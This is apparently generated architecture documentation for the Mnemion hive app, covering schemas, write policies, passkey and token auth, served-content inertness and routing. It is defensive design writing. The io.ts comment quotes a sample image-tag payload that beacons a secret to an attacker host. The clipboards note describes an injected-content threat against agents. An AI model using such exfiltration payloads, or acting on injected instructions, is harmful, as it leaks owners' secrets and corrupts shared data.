schema.tsentities/features/clipboards/schema.ts

clipboards/schema.ts — the clipboards feature's PATTERN STRUCTURE, as PURE DATA: the _clipboards kernel-pattern declaration (DDL + facet metadata + the one-clipboard-per-pattern partial unique index). Same discipline as documents/pages schema.ts — pure data + TYPES only — so composePatterns folds it into schema.ts's KERNEL_TABLES verbatim and verifyFieldsIntegrity sees no drift.

A _clipboards row is a JOB-DISPATCH form: it binds a reusable, validated form to a target user pattern. The JSON columns (fields / unique_on / cross_field / completion) are the form's contract; they're validated at definition time by the sibling hooks.ts and enforced per-submission at the mutate chokepoint (entities/Hive/data.ts). Progress against completion is DERIVED from the target pattern's entries, never stored here (entities/Hive/completion.ts).

No feature migration: every column lives in the base DDL (a fresh pattern, no prior _clipboards ALTER ever lived in schema.ts's pile). The pre-mutation DEFINITION hooks live in the sibling hooks.ts and compose into kernel.ts's ON_CREATE/ON_WRITE.

imports feature.ts
schema.tsentities/features/documents/schema.ts

documents/schema.ts — the documents feature's PATTERN STRUCTURE, as PURE DATA: the _documents kernel-pattern declaration (DDL + facet metadata + doctrine) and the feature's own schema migration. This is the "a feature owns its schema" half of the footprint, kept SEPARATE from manifest.ts so it stays pure data + TYPES only (no route handlers, no effect bodies) — composePatterns/composeMigrations (entities/features/compose.ts) fold it back into schema.ts's KERNEL_TABLES + boot migration pile, byte-for-byte the same rows the central array used to hold, so verifyFieldsIntegrity (the DDL↔_fields drift oracle) sees no change.

NOTE: the kernel pre-mutation HOOKS for _documents (the title-required create validation + the immutable r2_key/size/etc. bookkeeping invariants) live in the sibling ./hooks.ts (code, type-only kernel import), composed into kernel.ts's ON_CREATE / IMMUTABLE registries and enforced at the applyKernelRules chokepoint.

imports feature.ts
schema.tsentities/features/scratchpad/schema.ts

scratchpad/schema.ts — the scratchpad feature's PATTERN STRUCTURE, as PURE DATA: the _scratchpad kernel-pattern declaration (DDL + facets + a per-pad index). Same discipline as documents/pages/clipboards schema.ts — pure data + TYPES only — so composePatterns folds it into KERNEL_TABLES verbatim and verifyFieldsIntegrity sees no drift.

A _scratchpad row is a NOTE posted to a named shared PAD: a coordination channel for agents in neighboring sessions. Append-only, durable-as-memory but GC'd at a horizon (the boot sweep in entities/Hive/schema.ts), audit-exempt (high-frequency, like the access logs). created_by/updated_by (auto kernel columns) attribute each note to its poster, so a fanout of agents can see who left what.

imports feature.ts
security.tsentities/features/clipboards/security.ts

clipboards/security.ts — the clipboards feature's WRITE-POLICY contribution, as PURE DATA. Same leaf discipline as documents/pages security.ts: TYPES only, no runtime import, folded into the effective KERNEL_WRITE_POLICY by entities/features/security.ts.

_clipboards is WriteClass.Consent (human round-trip on create). A clipboard binds a validation contract to an EXISTING dataset pattern, and "constrains future writes" is not benign for an already-populated, multi-actor pattern: an impossible required / cross_field / unique_on (or a pathological pattern) makes every subsequent legitimate write to that shared dataset fail — an integrity/availability lever. So an agent acting on injected content must not be able to silently impose one; like _members / _federation_hosts / _shared, defining a clipboard takes a confirmation round-trip. No sensitive columns: a clipboard's columns are form metadata, nothing secret.

imports policy.ts
security.tsentities/features/documents/security.ts

documents/security.ts — the documents feature's WRITE-POLICY + EGRESS-SENSITIVITY contribution, as PURE DATA. This is the security half of the feature's footprint, kept SEPARATE from manifest.ts on purpose: policy.ts (the dependency-free security leaf) folds this in, and policy.ts MUST NOT pull a manifest (manifests carry code — effect bodies, route handlers — which would drag the enforcement layers into the security leaf and risk an import cycle).

So this file imports ONLY TYPES (erased at runtime → no runtime edge into policy.ts) and NOTHING else. It is the single home for "what write class is _documents, and which of its columns must never leave the DO" — composed back into the effective KERNEL_WRITE_POLICY / SENSITIVE_COLUMNS by entities/features/security.ts.

imports policy.ts
security.tsentities/features/scratchpad/security.ts

scratchpad/security.ts — the scratchpad feature's WRITE-POLICY contribution, as PURE DATA (TYPES only, no runtime import), folded into the effective KERNEL_WRITE_POLICY by entities/features/security.ts.

_scratchpad is WriteClass.Open + auditExempt: - Open: posting a note is a plain mutate create, no consent (a note exposes nothing outward; same class as _outputs/_views/_clipboards). - auditExempt: notes are high-frequency append-only coordination; logging every post to _mutation_log would be noise (mirrors _entry_access_log / _fragment_access_log). The GC sweep + the notes themselves ARE the record. No sensitive columns — a note is pad/kind/body, nothing secret.

imports policy.ts
Authclaimed
Credential primitives — multi-member passkeys and scoped access/register tokens — isolated as pure db-accessor functions.
why

Auth primitives (passkeys + access/register/auth tokens) are isolated as pure db-accessor functions so credential concerns stay separate from the cognitive substrate; the multi-row passkey model (one credential per member, NULL = bootstrap owner) exists because one shared hive is authenticated into by several people each acting as themselves. resolveRegisterToken deliberately re-validates scope/owner/roster at setup/consume time — independent of how the token's fields were set — because an adversarial review showed mint-time checks alone could be bypassed by a post-create constraints update to mount an owner-takeover, and a malformed member-less token must be unusable rather than defaulting to the owner sentinel.

Access tokens are stored HASHED at rest (hashToken, SHA-256): findAccessToken hashes the presented value and compares digests, mint stores only the digest (the raw token is shown once), and a boot migration hashes any legacy plaintext token in place. So a read of an _access_tokens row — a query, a search hit, a leaked DO snapshot — discloses only a digest, never a usable bearer. This is a deliberate exception to "store truth once": the secret's preimage is never persisted, which neuters the entire "a token reached a read sink" class independent of which sink leaks. Because the column holds a digest, every lookup that needs the token is async (crypto.subtle.digest), which is why these accessors return Promises.

works when
lives in storage fast
credentials.ts exists at this node fast
passkey.ts exists at this node fast
passkey.ts imports @simplewebauthn/server fast
credentials.tsshared/Auth/credentials.ts

Credential infrastructure: passkey storage + access token operations

Pure functions that take a db accessor. HiveDO keeps thin RPC wrappers. Auth concerns separated from the cognitive substrate.

why

Auth primitives (passkeys + access/register tokens) isolated as pure db-accessor functions so credential concerns stay separate from the cognitive substrate. The multi-row passkey model (one credential per member, NULL = bootstrap owner) exists because one hive is shared by several people who each authenticate as themselves. resolveRegisterToken re-validates scope/owner/roster at setup/consume time — independent of how the token's fields were set — because an adversarial review showed mint-time checks alone could be bypassed by a post-create constraints update to mount an owner-takeover; a malformed member-less token must be unusable rather than defaulting to the owner sentinel.

imports kernel.ts, constants.ts
hasPasskeyfunction
getPasskeysfunction

All registered passkeys — the authentication candidate set.

storePasskeyfunction

Store a member's passkey, replacing any existing credential for that same member (per-member rotation — the original "single credential, replaced on re-registration" semantic, now scoped to one member). member is the member label, or null for the bootstrap owner credential.

updatePasskeyCounterfunction

Bump the signature counter for a specific credential (clone detection).

hashTokenfunction

SHA-256 hex of a token. Access tokens are stored HASHED at rest — the raw token is shown once at mint, and every lookup hashes the presented value and compares digests. So a read of an _access_tokens row (a query, a search hit, a leaked DO snapshot) discloses only a digest, never a usable bearer. This is the architectural stance that neuters the whole "token reached a serve sink" class regardless of which sink leaks.

findAccessTokenfunction

Find a valid (non-archived, non-expired, non-consumed) access token. Hashes the presented token and matches against the stored digest.

consumeTokenfunction

Mark a token as consumed (for single-use tokens).

validateAccessTokenfunction

Validate a token against a required scope. Consumes single-use tokens.

resolveTokenActorfunction

Validate a token and resolve the actor (member) it authenticates as. Returns the member label, or null if the token is invalid / out of scope / belongs to a suspended-or-archived member. A token with no member resolves to the owner sentinel (legacy and headless tokens). Used by the OAuth external-token path to attribute the resulting session to a person.

isMemberActivefunction

A member exists, is active, and not archived. The owner sentinel is always active.

getRegisterTokenfunction

Register-token info for the approval page (does not require approval). Returns the member + display fields and whether it has already been approved.

resolveRegisterTokenfunction

Resolve a register token for the /setup flow. Adds the human-approval gate on top of validateRegisterToken: an invite is inert until a member approves it via passkey at /invite/{token}. This is the last line before a passkey is bound, so an unapproved (or tampered) token must not pass.

approveRegisterTokenfunction

Mark a register token approved (human-present passkey approval). Validates the same invariants, then stamps approved_at via raw SQL — approved_at is IMMUTABLE on the mutate path, so this is the only way it can be set. Returns the member approved, or null if the token is invalid / not a register token.

validateAuthCodefunction

Validate a token as a LOGIN credential — full-access (*) scope ONLY. A capability token (marketplace/read/upload/document/register) is deliberately distributed at LOWER privilege and must never redeem as an owner login; without this gate a marketplace-clone token or a shared read:entry link would escalate to full owner access via /authorize|/login. Mirrors resolveTokenActor's scope check.

consumeAuthCodefunction

Validate and consume a single-use LOGIN token (browser auth) — full-access (*) scope ONLY, for the same reason as validateAuthCode.

passkey.tsshared/Auth/passkey.ts

WebAuthn passkey registration + authentication (SimpleWebAuthn).

why

Lazy-imported (dynamic import in routes/auth) to dodge a tslib resolution issue in the vitest/workerd test environment. User verification is required on both registration and authentication so the passkey is a true second factor, not merely possession of the device.

imports @simplewebauthn/server, constants.ts, https://esm.sh/@simplewebauthn/browser@13
StoredPasskeyinterface
setupPagefunction

Passkey registration page. Shown at /setup?token=SECRET

passkeyLoginPagefunction

Login page — passkey-first with secret fallback

IOclaimed
Outbound and inbound adapters: derived publication renderers, web-URL resolution with caching, git pack assembly, and text extraction.
why

IO holds the adapters that move data across the hive's boundary, kept as focused single-purpose modules so each owns one concern. Publications render live pattern projections at request time (never stored) per the "data is destiny" doctrine; web.ts caches adapter-fetched content as durable memory with a re-fetch-horizon TTL and refuses blocked hosts; extract.ts splits inline text extraction from async PDF extraction off the response path because only the DO has waitUntil, capping extracted text to stay under the entry size limit.

works when
lives in public-egress fast
publications.ts exists at this node fast
web.ts exists at this node fast
git.ts exists at this node fast
extract.ts exists at this node fast
extract.tsshared/IO/extract.ts

Document text extraction: bytes → searchable text.

The extracted text lands in the _documents.extracted_text facet, where it's covered by search (FTS over text facets) and prime (embedEntry embeds text facets). So extraction is the only missing piece — indexing is free.

Two tiers run inline-cheap vs async-heavy: - text-family (text/*, json, xml, csv, markdown): decode the bytes, no deps. - PDF: unpdf (serverless pdf.js) — runs in workerd (spiked), but CPU-heavier, so the caller runs it off the response path (waitUntil). Anything else (images, office docs) is unsupported for now.

why

Inline text extraction runs synchronously but PDF extraction is deferred to the DO's waitUntil off the response path, because only the Durable Object has waitUntil and PDF parsing is slow; extracted text is capped to stay under the 1 MB entry limit. Extraction is the only missing piece for document search/recall — once text lands in _documents.extracted_text, search (FTS) and prime (embedding) cover it for free.

TEXT_CHARS_CAPconst

Cap stored text well under the 1 MB entry limit (length×2 bytes); enough to cover the searchable substance of most documents.

capTextfunction
isTextLikefunction

True for content types we can read directly as UTF-8 text.

isPdffunction
decodeTextfunction

Decode raw bytes as UTF-8 text (lossy on invalid sequences).

extractPdfTextfunction

Extract text from a PDF via unpdf (serverless pdf.js). Pages merged.

extractionPlanfunction

Classify what extraction a content type gets, without doing the work.

git.tsshared/IO/git.ts

git.ts — Minimal git smart HTTP for read-only marketplace serving

Synthesizes a virtual git repo from a file tree (path → content). Implements just enough of the git smart HTTP protocol for git clone. No actual git repo on disk. No push support. No delta compression.

why

Synthesizes a virtual git repo from an in-memory file tree and speaks just enough of the git smart-HTTP protocol for read-only git clone, so the marketplace serves plugins/skills over standard git tooling with no repo on disk and no push path. Deliberately minimal — no delta compression, no write support — because the only consumer is read-only clone.

imports node:crypto, node:zlib, constants.ts
og-png.tsshared/IO/og-png.ts

SVG → PNG on the worker, no browser. resvg is pure WASM (the rasterizer half of the @vercel/og stack); it needs font bytes supplied since workerd has no system fonts, so we embed the two we use. Used to turn an OG card SVG into a PNG that unfurls everywhere.

imports @resvg/resvg-wasm, @resvg/resvg-wasm/index_bg.wasm
svgToPngfunction
publications.tsshared/IO/publications.ts

Publication renderers: live pattern data → HTML / RSS / JSON / Markdown.

A publication entry declares the projection; these functions derive the document at request time. Nothing rendered is ever stored — the page is a consequence of current truth ("data is destiny" applied to publishing).

The template seam is deliberately small: {{facet}} substitution plus a few specials. Template text passes through raw (owners may write markup); substituted VALUES are escaped in html/rss contexts. No logic, no loops.

why

Publications render live pattern projections at request time and store nothing, so the served page is always a consequence of current truth (data-is-destiny applied to publishing). The per-entry template seam substitutes HTML-escaped values into raw template text so an owner can shape output without the projection becoming a stored, drift-prone artifact; superseded entries are excluded by default because a publication projects current truth.

imports labels.ts, constants.ts, prime.ts, escape.ts
RenderContextinterface
Renderedinterface
renderTemplatefunction

Substitute {{facet}} placeholders. Specials: _label, _uri, _id, _updated_at. Unknown placeholders become empty strings. escape is applied to VALUES only.

web.tsshared/IO/web.ts

Web URL resolution via resolve()

Fetches web content through adapter dispatch, caches in _web_cache, embeds for prime recall. Pure functions with context injected.

why

Adapter-fetched web content is cached in _web_cache as durable memory, not a TTL-evicted cache: the TTL is a re-fetch horizon, active content is retained indefinitely and surfaces in prime recall, and a re-fetch that returns empty never overwrites a good snapshot. Blocked hosts (loopback/private/link-local/metadata) are refused before fetch, sharing the same isBlockedFederationHost SSRF guard as federation so the boundary is defined once.

imports router.ts, kernel.ts
WebContextinterface
resolveWebfunction
Routingclaimed
Declarative HTTP dispatch and session machinery: pattern-matched route table plus constant-time, revocable session auth helpers.
why

(The router is the worker's declarative HTTP dispatch — method, pattern, auth gate, param constraints, matched in declaration order — with handlers grouped by domain under routes/, so the full routing surface stays scannable. Two auth primitives ride along that aren't yet declared invariants on their own: timingSafeEqual is constant-time to close a timing-attack finding on secret/token/signature checks, and session cookies carry a random sid plus a KV-stored epoch so every session can be revoked without rotating MNEMION_SECRET. Candidates for promotion when an oracle is added.)

Served-content inertness. Agent- or uploader-authored content served on the FIRST-PARTY origin (which holds the owner's session cookie and can drive /api/*//mcp) must never run as active script. The rejected design was a per-handler MIME block-list ("any served path remembers to neutralize active MIME") — correctly implemented at /o but silently drifted at two siblings: /p publications omitted the sandbox directive so owner-authored markup ran same-origin, and /f documents echoed the UPLOADER-controlled Content-Type inline with neither nosniff nor sandbox, turning a text/html upload into stored XSS / owner-session theft. A block-list of per-handler MIME handling fails open the moment one site forgets — the same failure mode that made it a convention crossing in the first place.

Served-read gating. The auth dual of inertness: where inertness governs HOW served content is emitted, this governs WHETHER a visibility-gated resource is served at all. The rejected design was a 5-call-site block-list — "any new served read route remembers to gate" — that fails open the moment one route forgets, a real risk because adding a served read path is otherwise a cheap edit. A secretless deploy was an additional silent failure mode: with no master secret configured, owner-only APIs returned 503 but served reads still went through the bearer check against a NULL secret. Both failure modes are killed at one chokepoint with a fixed enumeration over the gated route-shape set. Anchored via guard rather than via test because the domain is a known route table, not a runtime-varying live domain.

(Operational protection of the public surfaces is cost/availability, not a security boundary, so it isn't a declared invariant. Two layers, both fail-OPEN so absence is harmless: rateLimit over the GA ratelimit bindings caps the public WRITE surface per endpoint and the public READ surfaces per client IP, and cached wraps the public GET reads in caches.default so a hit returns from Cloudflare's per-colo edge without running the Worker or touching the DO. Together they answer the single-DO contention ceiling: hot public reads offload to the edge, and what reaches the DO — writes, cache misses, cache-busting enumeration — is throttled. Early Content-Length caps on the buffered text bodies bound Worker memory before the transform DSL runs.)

works when
lives in served-untrusted fast
router.ts exists at this node fast
router.ts imports ../core/constants fast
routes/auth.ts exists at this node fast
routes/io.ts exists at this node fast
routes/io.ts imports ../router fast
boundary "served-content inertness" at inertHeaders crossing served-untrusted -> public-egress via test "served-content inertness totality" fast
boundary "served-read gating" at denyUnlessBearerScope crossing public-egress -> served-untrusted via guard "served bearer-gating totality" fast
depends on OAUTH_KV
router.tsshared/Routing/router.ts

Declarative HTTP dispatch: a route table matched in declaration order.

why

The auth helpers here are security-load-bearing: timingSafeEqual is constant-time specifically to close a timing-attack finding on master-secret / setup-token / session-signature checks (replacing ===), and session cookies carry a random sid plus a KV-stored epoch so every session can be revoked without rotating MNEMION_SECRET. The route table keeps the whole HTTP surface scannable (method, pattern, auth gate, handler per line) so the system's shape is graspable from the declarations alone.

imports hive.ts, constants.ts, log.ts
binds OAUTH_KV
Envinterface
Methodenum
Authenum
RouteContextinterface
Routeinterface
timingSafeEqualfunction

Constant-time string comparison. Hashes both inputs to fixed-length digests and compares with a branch-free XOR accumulator, so timing does not leak the length or content of the expected value. Use for any comparison against the master secret or an HMAC signature.

isDevAutoApprovefunction

Dev auto-approve is OPT-IN, never the default. A missing MNEMION_SECRET alone used to mean "auto-approve every request as the owner" — fail-OPEN: a secretless PRODUCTION deploy served every owner-only API unauthenticated. It now applies ONLY when DEV is also explicitly set (the dev script + [env.test] set it), so an unconfigured instance fails CLOSED. "Unconfigured" means no access, not all access.

denyUnlessBearerScopefunction

The Bearer-token serve gate, in one place. Parses Authorization: Bearer <token> and validates it against the required scope via the hive. The ONLY thing a served/ingress route varies is the scope string (read:output:<path>, write:input:<path>, …); the header parse + the validateAccessToken call — the security invariant — live here so they can't drift per call site, and a new served route inherits the exact gate by passing only its scope.

Returns null when the request is authorized (proceed); otherwise the 401 Unauthorized Response the caller returns directly. Call sites still own their surrounding allow-list (visibility !== "public") and the dev-mode 404 refusal; this owns only the common Bearer parse + validate that was copied verbatim.

rateLimitfunction

Rate-limit guard for the public surfaces (operational cost protection, NOT a security boundary). Returns a 429 when the limiter rejects key, else null. Fails OPEN by design: a missing binding (an env without it, or a runtime lacking the simulator) or a limiter error lets the request through — the binding ships in wrangler.toml but must never take down a deploy/test env that doesn't provide it.

clientIpfunction

The requesting client's IP, for per-client rate-limit keys. Cloudflare sets cf-connecting-ip; falls back to "unknown" off-platform (local/test).

cachedfunction

Edge-cache wrapper for PUBLIC read handlers. On a GET, serve from Cloudflare's per-colo cache (caches.default) when present — skipping the Worker AND the single HiveDO entirely within the response's max-age, so viral/cache-busting public reads don't serialize through the owner's DO. Only responses the handler marks Cache-Control: public are stored (private/unlisted/304/errors never are), keyed by request URL — so a public resource caches and a private one falls through on every request. The put is awaited (a few ms, on the miss path only); a hit returns before any DO work. A runtime without the Cache API is a transparent pass-through.

revokeAllSessionsfunction

Revoke every existing session by bumping the stored epoch. Cookies embed the epoch they were minted under, and validateSession rejects any whose epoch no longer matches — so the owner can invalidate all sessions (e.g. after a suspected cookie theft) without rotating MNEMION_SECRET. KV is eventually consistent, so global propagation can take up to ~60s.

createRouterfunction
auth.tsshared/Routing/routes/auth.ts
imports router.ts, constants.ts, https://esm.sh/@simplewebauthn/browser@13
binds OAUTH_KV
revokeSessionsconst

POST /sessions/revoke — invalidate ALL browser sessions (Auth.SECRET gated). Bumps the session epoch so every issued cookie stops validating, without rotating MNEMION_SECRET. Use after a suspected session-cookie compromise.

dev.tsshared/Routing/routes/dev.ts
imports router.ts
seedVectorsconst

Seed vectors: embed all existing entries into Vectorize. Gated behind Auth.SECRET — requires master secret.

io.tsshared/Routing/routes/io.ts
imports router.ts, fflate, extract.ts, log.ts
ACTIVE_SERVED_MIMEconst

Active/renderable types we make inert. sandbox (with no allow-tokens) treats the response as a unique opaque origin: scripts don't run, forms are disabled, and same-origin access (cookies, /api/*) is severed; default-src 'none' also blocks every sub-resource so it can't beacon a secret out via <img src="//attacker/?leak">. So agent-authored HTML/SVG renders for the documented egress feature yet can't execute script or steal the owner's session.

inertHeadersfunction

The single inertness decision for served egress. Given the raw, possibly attacker-chosen Content-Type, return the Content-Type to emit plus the security headers that neutralize it. Active types are sandboxed (CSP) and, when forceAttachment is set (a file store like /f), also forced to download. Every result carries X-Content-Type-Options: nosniff.

servePageconst

Public page (a _pages entry with visibility=public): server-rendered HTML with charts as inline SVG + OG meta. renderPublicPage returns null for missing or non-public pages — a positive allow-list, like publications.

servePageOgPngconst

PNG OG card (rasterized from the SVG via resvg) — the robust unfurl image.

uploadconst
marketplace.tsshared/Routing/routes/marketplace.ts
imports router.ts, git.ts, constants.ts
pages.tsshared/Routing/routes/pages.ts
imports router.ts, tools.ts
Coreclaimed
Cross-cutting primitives shared by both the worker and the SPA: product identity, the declarative UI palettes (view / format / block / chart) an agent authors against, and dev-only seed data.
why

Core is the layer both runtimes depend on but neither owns, so it carries zero env-specific imports and stays pure data — that purity is what lets the same module validate a write in the worker and render it in the SPA without forking.

Its center of gravity is the agent-authorable UI: view-palette (how a pattern renders), format-palette (how a value renders), block-palette (how a page composes), and the chart pair (chart-spec + chart-svg). These are the canonical instances of the "self-enforcing declarations" doctrine — one declarative table that is simultaneously the spec an agent reads, the validator the kernel derives (validateViewSpec/validateBlocks/validateFormatsMap, fail-closed at the mutate chokepoint), and the totality oracle the SPA's Record<…Id, Component> enforces at compile time. The agent composes UI from these tables as data, never as code, which is what makes live agent-authored rework safe.

The chart layer is deliberately split so one spec drives two renderers: chart-spec is the single home for the mark set, the categorical color palette, and the long→wide series pivot, and both the in-hive Recharts renderer and the server SVG renderer (chart-svg, for published pages and OG cards) derive from it — so a dataset reads identically in-hive and on a public page. constants keeps product identity (PRODUCT_NAME, URI_SCHEME, uri()) in one place so the scheme is never hardcoded. dev-seed is gated and runs only in the DO constructor under DEV_SEED; it writes via raw SQL (trusted, bypassing the kernel hook), so its contents must stay valid against these same palettes by hand — it is inert in production.

works when
constants.ts exists at this node fast
view-palette.ts exists at this node fast
view-palette.ts imports ./format-palette fast
format-palette.ts exists at this node fast
block-palette.ts exists at this node fast
chart-spec.ts exists at this node fast
chart-svg.ts exists at this node fast
chart-svg.ts imports ./chart-spec fast
dev-seed.ts exists at this node fast
block-palette.tsshared/core/block-palette.ts

The block palette — the declarative vocabulary for composing a page (a _pages entry). A page is { blocks: Block[] }; each block is { type, ...config, width? }, validated against this palette (fail-closed) and rendered against a fixed component set in the SPA. The same safe boundary as the view/format palettes, one level up: arbitrary COMPOSITION (any blocks, any order, referencing any pattern/entry), never arbitrary CODE.

Pure data, zero env-specific imports — bundled into both the worker (validation) and the SPA (rendering).

imports chart-spec.ts
BlockTypeinterface
isBlockTypefunction
validateBlocksfunction

Validate a page's blocks JSON against the palette + the hive (pattern/facet references). Returns [] when valid. Empty/absent blocks = a valid (empty) page.

chart-spec.tsshared/core/chart-spec.ts

The chart vocabulary shared by BOTH renderers — the in-hive Recharts renderer (web/src/Chart.tsx) and the server SVG renderer (chart-svg.ts, public pages + OG cards). One home for: the mark set, the categorical color palette (so the same dataset reads identically in-hive and on a published page), and the long→wide pivot that turns multi-dimension aggregate rows into per-series columns. Pure data, zero env deps — bundled into both worker and SPA.

CONTINUOUS_MARKSconst

Mark categories — which machinery a mark needs. Derived from, never duplicated.

isChartMarkfunction
SERIES_COLORSconst

Categorical palette — the notebook accent first, then a tuned spread that holds up on the warm paper background (#f1efe8). Cycled by index for series/slices.

seriesColorfunction
isRoundfunction

Mark-category membership — the single home both renderers MUST agree on (was re-inlined as mark === "bar" || mark === "area" etc. in three files). Adding a mark to a set above now flows to every renderer through these.

isContinuousfunction
isStackablefunction
SERIES_NONEconst

The label NULL/empty series values bucket under, so a row with no series value is named rather than silently dropped from the chart.

groupKeyfunction

A group field may carry a :unit datetime bucket (e.g. "created_at:month"). The query engine GROUPs BY the full "facet:unit" but aliases the OUTPUT column to the bare facet — so the GROUP BY uses the full field while the sort field, the row read-key, and the pivot/dataKey must use the bare facet. Split once, here.

aggSpecfunction

The aggregate wire-spec ({fn, facet?, as:'value'}) in one place (server chartData + client ChartView both built this literal independently).

ResolvedChartinterface

A chart spec, resolved once at the boundary: aliases (x|group_by, y|metric) and defaults (mark, agg) collapsed, and the :unit bucket split into groupBy (the full field for GROUP BY) vs x/series (the bare column the engine aliases it to, which rows/sort/pivot/dataKey read). Both renderers derive from this so they can't resolve aliases or buckets differently.

ChartQueryKindtype

The query plan for a resolved chart — what to fetch and how to aggregate/sort. The SERVER (hive.chartData via this.query) and the CLIENT (ChartView via /api/query) both derive their query from this ONE function, so the in-hive chart and the published/OG chart can't aggregate, sort, bucket, or truncate differently.

ChartQueryinterface
chartQueryfunction
resolveChartfunction
compactNumfunction

Compact number formatting shared by axes, labels, and tooltips (no Intl on the server SVG path — keep one deterministic implementation).

pivotSeriesfunction

Long rows [{ [xKey]: x, [seriesKey]: s, [valueKey]: v }, ...] from a two-facet aggregate → wide rows [{ [xKey]: x, [s1]: v, [s2]: v, ... }] plus the ordered list of series keys (first-seen order). Missing cells are 0-filled so stacked marks and multi-line charts don't tear. x order is first-seen (the caller sorts the aggregate by x, so this preserves it).

chart-svg.tsshared/core/chart-svg.ts

The SERVER renderer for a chart spec: pure SVG string, no DOM, no deps. Same spec + palette as the in-hive Recharts renderer (web/src/Chart.tsx, both derive from chart-spec.ts) — this one produces static SVG for published pages and OG cards. Marks: bar | line | area | scatter | pie | donut, single- or multi-series (grouped/stacked), with a legend.

imports chart-spec.ts, escape.ts
Datuminterface
SeriesDatainterface

Multi-series payload: wide rows (one per x) with one numeric column per series key, already pivoted (chart-spec.pivotSeries) and sorted by x.

ChartSvgOptsinterface
renderChartSvgfunction

=== Unified entry: dispatch a payload to the right mark renderer ============ mark selects the shape; payload.multi selects single vs grouped/stacked.

chartOgSvgfunction

A standalone OG card: wrapped title + the chart, at social dimensions (1200×630). The chart is rendered at the card's exact pixel size (with larger labels) and placed with a plain translate — no nested-svg scaling, which not every SVG renderer handles the same way.

constants.tsshared/core/constants.ts

Product identity — single source of truth for the URI scheme and product name. Import from here instead of hardcoding "mnemion://" in string literals.

urifunction

Build a full URI from a path, e.g. uri("index") → "mnemion://index"

IDENTIFIER_REconst

=== Identifier rule ===

The canonical pattern/facet-name rule (CLAUDE.md "propose_change"): must start with a lowercase letter or underscore, then only a-z, 0-9, hyphens, underscores. Case-sensitive (identifiers are lowercase). This is the SINGLE home for the agent-facing identifier shape — pattern names, facet names, and any user-supplied identifier interpolated into DDL/SQL (which can't be bound, so it must be confirmed to match this rule before quoting). Note: SQL aggregate aliases use a deliberately different rule (case-insensitive, no hyphen — see data.ts ALIAS_RE); don't fold that one in here.

HEX_TOKEN_REconst

=== Hex token rule ===

Route-param guard for hex-encoded capability tokens (invite, upload, document upload). Variable-length: any run of hex digits. One home so the five route rows that gate a :token param share the same shape. The fixed-length variant (/^[a-fA-F0-9]{32}$/) is a DIFFERENT rule (exact length) and stays inline at its single call site.

HIVE_IDconst

=== Hive identity ===

Mnemion is single-hive-per-deploy: one shared store that one or more members authenticate into. The hive's location (which Durable Object) is stable and independent of who logs in — "which hive" and "who am I" are separate concerns. HIVE_ID names the store; the actor (a member label) names the person, carried separately in the session props.

The literal stays "user:owner" so existing single-owner deploys keep their data: this is a rename for clarity, not a re-key. New deploys land on the same DO name.

OWNER_ACTORconst

The sentinel member every hive has. The bootstrap passkey (registered with the master secret) and any member-less legacy token resolve to this actor. Always active; never suspended.

dev-seed.tsshared/core/dev-seed.ts

Dev seed: realistic data for local development

Called from initializeSchema when DEV_SEED is set and no user patterns exist. Uses raw SQL (runs inside blockConcurrencyWhile during DO construction).

imports constants.ts, schema.ts
seedDevDatafunction
env.d.tsshared/core/env.d.ts

Optional-binding augmentation for the generated worker Env.

R2 (the DOCUMENTS bucket) ships COMMENTED OUT in wrangler.toml by design — Mnemion runs fully without it (see "Document storage requires R2"). So wrangler types never emits DOCUMENTS on the generated global Env, yet the code reads env.DOCUMENTS on the optional path. Declare it here with the honest optional type so the worker type-checks whether or not R2 is enabled/bound.

escape.tsshared/core/escape.ts

One XML/HTML text escaper, shared by every string-built markup surface — the server SVG charts (chart-svg.ts), the server-rendered pages (hive.ts), and the publication renderers (shared/IO/publications.ts) — so the three can't drift (they previously had three near-identical copies, one of which escaped ' and two of which didn't). Escapes the superset, safe in both text and double-quoted attribute contexts. Pure, no deps.

escapeXmlfunction

One XML/HTML text escaper, shared by every string-built markup surface — the server SVG charts (chart-svg.ts), the server-rendered pages (hive.ts), and the publication renderers (shared/IO/publications.ts) — so the three can't drift (they previously had three near-identical copies, one of which escaped ' and two of which didn't). Escapes the superset, safe in both text and double-quoted attribute contexts. Pure, no deps.

format-palette.tsshared/core/format-palette.ts

The format palette — the single declarative home for how a facet's VALUE is rendered (its presentation), distinct from the view palette (which governs layout) and from config roles (which govern a facet's job in a layout).

A facet's effective format is resolved from three sources, most specific first: 1. the view's per-facet override (config.formats[facet] — desk choice) 2. the facet's intrinsic format (_fields.format — the data's nature) 3. a default derived from its type (datetime → date, etc.)

Like view-palette.ts: pure data, ZERO imports, bundled into BOTH the worker (schema enum + validation) and the SPA (a Record<FormatId,…> renderer registry whose compile-time totality binds the two).

FormatTypeinterface
FORMAT_PALETTEconst

Add a format here and the enum, the agent contract, and validation pick it up; the SPA won't compile until it has a matching renderer (Record<FormatId,…>).

isFormatfunction
defaultFormatForTypefunction

The default rendering for a facet that carries no explicit format — derived from its declared type, so a datetime is friendly and a boolean is a check without anyone having to say so. Truth (the type) drives presentation.

resolveFormatfunction

The resolve chain: view override ?? facet intrinsic ?? foreign-key reference ?? type default. A declared foreign key (hasLink) wins over the type default — an FK facet is a reference by nature — but an explicit format still overrides it. Unknown ids fall through (a stale format never crashes a render — it degrades to the next source), so the resolver always returns a real FormatId.

validateFormatsMapfunction

Validate a view's per-facet formats override map: an object of facet-name → format-id. hasFacet null = pattern unknown → skip the facet-existence check (format-id checks still run). Returns [] when valid.

describeFormatPalettefunction

Agent-facing prose, generated from the palette so the contract can't drift from what's enforced. Embedded in the _views + set_facet_format docs.

host.tsshared/core/host.ts

Instance identity is configuration, not request data.

resolveHost is the single decision behind every generated capability URL (upload_url / page_url / og_image / the _system/instance doc): which host does this instance call itself?

why

A meaningfully-configured WORKER_HOST is AUTHORITATIVE and the inbound Host header is IGNORED — so an attacker who sends a spoofed Host on an unauthenticated request (e.g. a /ws upgrade) cannot poison a capability URL handed to the owner. The observed/inbound host is only the fallback for LOCAL DEV, where WORKER_HOST is unset or still the deploy placeholder and the request host IS the right answer. Pulling the priority into a pure function makes the "ignore inbound when configured" property enumerable and testable away from the Durable Object, instead of a behavior asserted only by convention.

WORKER_HOST_PLACEHOLDERconst

The wrangler.toml [vars] default for WORKER_HOST. A deploy that never ran npm run setup (which pins the real host) leaves this placeholder — treated as "not meaningfully configured", so the dev fallback applies.

resolveHostfunction

Resolve the instance host. A real configured WORKER_HOST wins and the inbound lastKnownHost is ignored (the security boundary); otherwise fall back to the observed host, then the placeholder, then "localhost" (local dev only).

log.tsshared/core/log.ts

Structured logging over Cloudflare Workers Logs.

